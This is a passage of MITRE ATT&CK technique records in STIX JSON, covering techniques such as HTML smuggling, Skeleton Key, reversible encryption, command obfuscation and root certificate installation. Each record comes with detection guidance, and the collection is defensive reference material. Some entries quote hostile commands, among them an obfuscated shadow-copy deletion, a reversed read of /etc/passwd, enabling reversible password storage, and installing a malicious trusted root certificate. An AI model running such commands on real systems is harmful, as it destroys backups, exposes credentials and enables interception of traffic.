2012","description":"Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.","url":"https://www.symantec.com/connect/blogs/shamoon-attacks"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","type":"attack-pattern","created":"2020-03-14T23:39:50.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1132.002","url":"https://attack.mitre.org/techniques/T1132/002"},{"url":"https://en.wikipedia.org/wiki/Binary-to-text_encoding","description":"Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.","source_name":"Wikipedia Binary-to-text Encoding"},{"url":"https://en.wikipedia.org/wiki/Character_encoding","description":"Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.","source_name":"Wikipedia Character Encoding"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-14T23:39:50.117Z","name":"Non-Standard Encoding","description":"Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["User"]},{"modified":"2024-08-21T15:26:54.386Z","name":"Domain Controller Authentication","description":"Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"2.1","x_mitre_data_sources":["Logon Session: Logon Session Creation","Process: Process Access","File: File Modification","Process: OS API Execution"],"type":"attack-pattern","id":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","created":"2020-02-11T19:05:02.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1556/001","external_id":"T1556.001"},{"source_name":"Dell Skeleton","description":"Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.","url":"https://www.secureworks.com/research/skeleton-key-malware-analysis"},{"source_name":"TechNet Audit Policy","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487457.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:08:25.344Z","name":"Transfer Data to Cloud Account","description":"Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.(Citation: TLDRSec AWS Attacks)\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.(Citation: Microsoft Azure Storage Shared Access Signature)\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_contributors":["Praetorian","Darin Smith, Cisco","ExtraHop","Gabriel Currie"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. \n\nIn AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a \"Get Snapshot SAS URL\" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["IaaS","SaaS","Office Suite"],"x_mitre_version":"1.5","x_mitre_data_sources":["Cloud Storage: Cloud Storage Modification","Snapshot: Snapshot Creation","Snapshot: Snapshot Modification","Cloud Storage: Cloud Storage Metadata","Snapshot: Snapshot Metadata","Application Log: Application Log Content","Network Traffic: Network Traffic Content","Cloud Storage: Cloud Storage Creation"],"type":"attack-pattern","id":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","created":"2019-08-30T13:03:04.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1537","external_id":"T1537"},{"source_name":"AWS EBS Snapshot Sharing","description":"Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022.","url":"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html"},{"source_name":"TLDRSec AWS Attacks","description":"Clint Gibler and Scott Piper. (2021, January 4). Lesser Known Techniques for Attacking AWS Environments. Retrieved March 4, 2024.","url":"https://tldrsec.com/p/blog-lesser-known-aws-attacks"},{"source_name":"Azure Shared Access Signature","description":"Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022.","url":"https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature"},{"source_name":"Azure Blob Snapshots","description":"Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022.","url":"https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview"},{"source_name":"Microsoft Azure Storage Shared Access Signature","description":"Microsoft. (2023, June 7). Grant limited access to Azure Storage resources using shared access signatures (SAS). Retrieved March 4, 2024.","url":"https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:12:13.006Z","name":"HTML Smuggling","description":"Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Stan Hegt, Outflank","Jonathan Boucher, @crash_wave, Bank of Canada","Krishnan Subramanian, @krish203","Vinay Pidathala"],"x_mitre_deprecated":false,"x_mitre_detection":"Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\n\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Creation"],"x_mitre_defense_bypassed":["Anti-virus","Web Content Filters","Static File Analysis"],"type":"attack-pattern","id":"attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb","created":"2021-05-20T12:20:42.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027/006","external_id":"T1027.006"},{"source_name":"Outlflank HTML Smuggling 2018","description":"Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.","url":"https://outflank.nl/blog/2018/08/14/html-smuggling-explained/"},{"source_name":"MSTIC NOBELIUM May 2021","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"},{"source_name":"HTML Smuggling Menlo Security 2020","description":"Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.","url":"https://www.menlosecurity.com/blog/new-attack-alert-duri"},{"source_name":"nccgroup Smuggling HTA 2017","description":"Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved September 12, 2024.","url":"https://www.nccgroup.com/us/research-blog/smuggling-hta-files-in-internet-exploreredge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-26T15:40:31.871Z","name":"Reversible Encryption","description":"An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\n\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Active Directory: Active Directory Object Modification","Command: Command Execution","User Account: User Account Metadata","Script: Script Execution"],"type":"attack-pattern","id":"attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48","created":"2022-01-13T20:02:28.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1556/005","external_id":"T1556.005"},{"source_name":"dump_pwd_dcsync","description":"Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.","url":"https://adsecurity.org/?p=2053"},{"source_name":"store_pwd_rev_enc","description":"Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption"},{"source_name":"how_pwd_rev_enc_1","description":"Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.","url":"http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html"},{"source_name":"how_pwd_rev_enc_2","description":"Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.","url":"http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:43:18.873Z","name":"Command Obfuscation","description":"Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\n\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\n\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["TruKno","Tim Peck","George Thomas"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["File: File Metadata","Script: Script Execution","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","created":"2023-03-14T17:36:01.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027/010","external_id":"T1027.010"},{"source_name":"Twitter Richard WMIC","description":"Ackroyd, R. (2023, March 24). Twitter. Retrieved September 12, 2024.","url":"https://x.com/rfackroyd/status/1639136000755765254"},{"source_name":"Invoke-Obfuscation","description":"Bohannon, D. (2016, September 24). Invoke-Obfuscation. Retrieved March 17, 2023.","url":"https://github.com/danielbohannon/Invoke-Obfuscation"},{"source_name":"Invoke-DOSfuscation","description":"Bohannon, D. (2018, March 19). Invoke-DOSfuscation. Retrieved March 17, 2023.","url":"https://github.com/danielbohannon/Invoke-DOSfuscation"},{"source_name":"FireEye Obfuscation June 2017","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","url":"https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"},{"source_name":"Malware Monday VBE","description":"Bromiley, M. (2016, December 27). Malware Monday: VBScript and VBE Files. Retrieved March 17, 2023.","url":"https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16"},{"source_name":"Akamai JS","description":"Katz, O. (2020, October 26). Catch Me if You Can—JavaScript Obfuscation. Retrieved March 17, 2023.","url":"https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation"},{"source_name":"Bashfuscator Command Obfuscators","description":"LeFevre, A. (n.d.). Bashfuscator Command Obfuscators. Retrieved March 17, 2023.","url":"https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html"},{"source_name":"Microsoft PowerShellB64","description":"Microsoft. (2023, February 8). about_PowerShell_exe: EncodedCommand. Retrieved March 17, 2023.","url":"https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand"},{"source_name":"RC PowerShell","description":"Red Canary. (n.d.). 2022 Threat Detection Report: PowerShell. Retrieved March 17, 2023.","url":"https://redcanary.com/threat-detection-report/techniques/powershell/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Itzik Kotler, SafeBreach","Travis Smith, Tripwire","Red Canary","Matt Graeber, @mattifestation, SpecterOps"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1","type":"attack-pattern","created":"2017-05-31T21:31:42.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1130","url":"https://attack.mitre.org/techniques/T1130"},{"external_id":"CAPEC-479","source_name":"capec","url":"https://capec.mitre.org/data/definitions/479.html"},{"url":"https://en.wikipedia.org/wiki/Root_certificate","description":"Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.","source_name":"Wikipedia Root Certificate"},{"url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf","description":"Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.","source_name":"Operation Emmental"},{"url":"https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/","description":"Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.","source_name":"Kaspersky Superfish"},{"source_name":"SpectorOps Code Signing Dec 2017","description":"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.","url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"},{"source_name":"objective-see ay mami 2018","description":"Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.","url":"https://objective-see.com/blog/blog_0x26.html"},{"source_name":"Microsoft Sigcheck May 2017","description":"Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.","url":"https://docs.microsoft.com/sysinternals/downloads/sigcheck"},{"url":"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/","description":"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.","source_name":"Tripwire AppUNBlocker"}],"modified":"2020-02-21T21:11:06.761Z","name":"Install Root Certificate","description":"Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Digital Certificate Validation"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638","type":"attack-pattern","created":"2017-05-31T21:30:30.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1022","url":"https://attack.mitre.org/techniques/T1022"},{"url":"http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf","description":"Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.","source_name":"Zhang 2013"},{"url":"https://en.wikipedia.org/wiki/List_of_file_signatures","description":"Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.","source_name":"Wikipedia File Header Signatures"}],"modified":"2020-03-30T03:10:12.750Z","name":"Data Encrypted","description":"Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"modified":"2024-10-15T16:33:59.107Z","name":"File Deletion","description":"Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows and rm or unlink on Linux and 